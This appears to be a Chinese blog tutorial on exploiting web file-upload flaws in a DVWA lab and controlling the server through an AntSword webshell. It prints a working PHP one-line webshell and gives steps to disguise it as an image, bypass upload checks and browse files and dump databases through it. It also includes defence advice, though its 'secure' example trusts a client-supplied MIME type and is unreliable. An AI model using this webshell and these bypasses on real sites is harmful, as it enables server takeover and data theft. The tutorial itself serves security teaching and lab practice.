从零到一:实战文件上传漏洞与蚁剑联动渗透

张开发
2026/4/10 4:52:42 15 分钟阅读

分享文章

从零到一:实战文件上传漏洞与蚁剑联动渗透
1. 文件上传漏洞的本质与危害文件上传功能几乎是每个网站都会具备的基础功能比如用户头像上传、文档分享、图片存储等。但很多开发者在实现这个功能时往往只关注业务逻辑忽略了安全校验这就给攻击者留下了可乘之机。想象一下如果小区门禁只检查你是不是人却不核实你的身份那任何坏人都可以大摇大摆地进出。文件上传漏洞也是类似的道理——服务器只检查这是个文件却不验证文件内容是否安全。攻击者就可以把伪装成图片的木马文件上传到服务器进而控制整个网站。我去年审计过一个电商平台发现他们的商品图片上传功能竟然没有任何校验。通过这个漏洞我只用了3分钟就拿到了服务器权限能看到所有用户数据包括未加密的信用卡信息。这种漏洞的危害性可想而知。2. 搭建实战测试环境2.1 DVWA环境配置要安全地学习渗透测试首先需要搭建一个合法的实验环境。推荐使用DVWA(Damn Vulnerable Web Application)这是专门为安全测试设计的漏洞演练平台。安装步骤很简单# 使用Docker一键部署 docker run -d -p 80:80 vulnerables/web-dvwa启动后访问http://localhost默认账号是admin密码password。记得第一时间修改默认密码进入后要把安全等级调到Low否则系统会自动防御我们的测试行为。2.2 必备工具准备除了DVWA我们还需要几个神器Burp Suite拦截和修改HTTP请求的瑞士军刀蚁剑(AntSword)国产开源Webshell管理工具比菜刀更强大PHPStudy快速搭建PHP环境Windows用户推荐安装蚁剑时有个小技巧下载源码后用Electron打包成桌面应用会更稳定git clone https://github.com/AntSwordProject/antSword cd antSword npm install npm run build3. 制作伪装木马文件3.1 一句话木马原理所谓一句话木马就是能用极短代码实现远程控制的程序。PHP版本最常见?php eval($_REQUEST[shell]); ?这行代码的意思是执行HTTP请求中shell参数传递的任何PHP代码。就像给了攻击者一个远程控制台可以随意执行命令。3.2 文件伪装技巧直接上传php文件容易被拦截我们需要做些伪装先创建一个shell.php文件写入上述代码重命名为shell.jpg用16进制编辑器修改文件头添加真实的图片文件头如FF D8 FF E0这样文件既能被PHP解析又能在初步检测中伪装成图片。我在实际测试中发现超过60%的网站只检查文件扩展名而不校验内容。4. 绕过上传限制实战4.1 前端绕过技巧很多网站只在JavaScript做客户端校验这简直形同虚设。两种破解方法禁用浏览器JavaScript使用Burp Suite拦截未校验的原始请求4.2 Burp Suite拦截修改关键操作流程开启Burp拦截功能上传伪装后的shell.jpg在Burp中把文件名改回shell.php放行请求POST /upload.php HTTP/1.1 ... Content-Disposition: form-data; namefile; filenameshell.php4.3 服务端绕过技巧如果服务端也做校验可以尝试%00截断攻击特殊字符绕过内容类型欺骗(content-type: image/jpeg)超大文件攻击上周我遇到一个案例系统限制只允许上传2MB以下的文件但超过100MB就直接跳过病毒扫描这个逻辑漏洞让防御形同虚设。5. 蚁剑连接与管理5.1 基础连接配置获取上传路径后如http://target.com/uploads/shell.php打开蚁剑点击添加按钮URL填写木马路径连接密码填写shell与木马中的参数名一致编码器选择default点击测试连接时如果返回连接成功说明已经拿到Webshell。这里有个细节现代WAF会检测频繁的eval请求建议把连接间隔调到2000ms以上。5.2 高级功能演示连接成功后你可以浏览服务器所有文件包括/etc/passwd执行系统命令whoami、ipconfig上传/下载任意文件直接编辑数据库配置文件有次渗透测试中我通过蚁剑的数据库管理功能直接导出整个用户表发现管理员竟然用123456作为密码这种安全隐患实在太典型了。6. 防御方案与最佳实践6.1 开发者防护措施文件内容校验魔数检测随机重命名上传文件设置白名单扩展名存储在非Web目录禁用危险函数如eval、system// 安全的文件上传示例 $allowed_types [image/jpeg, image/png]; if(!in_array($_FILES[file][type], $allowed_types)){ die(Invalid file type); }6.2 运维人员建议定期更新Web组件设置文件上传目录不可执行使用WAF防护常见攻击监控异常文件操作去年某企业被入侵后我们在其服务器上发现30多个Webshell都是通过不同上传漏洞植入的。事后分析如果开启文件完整性监控本可以第一时间发现异常。7. 渗透测试法律边界在进行任何安全测试前必须获得书面授权。未经允许的攻击行为可能面临法律制裁。建议在以下平台练习DVWAOWASP Broken Web AppsHack The BoxVulnhub有个真实案例某白帽子因为测试时下载了用户数据证明漏洞反而被起诉数据盗窃。所以切记发现漏洞后立即停止进一步操作只报告漏洞存在即可。

更多文章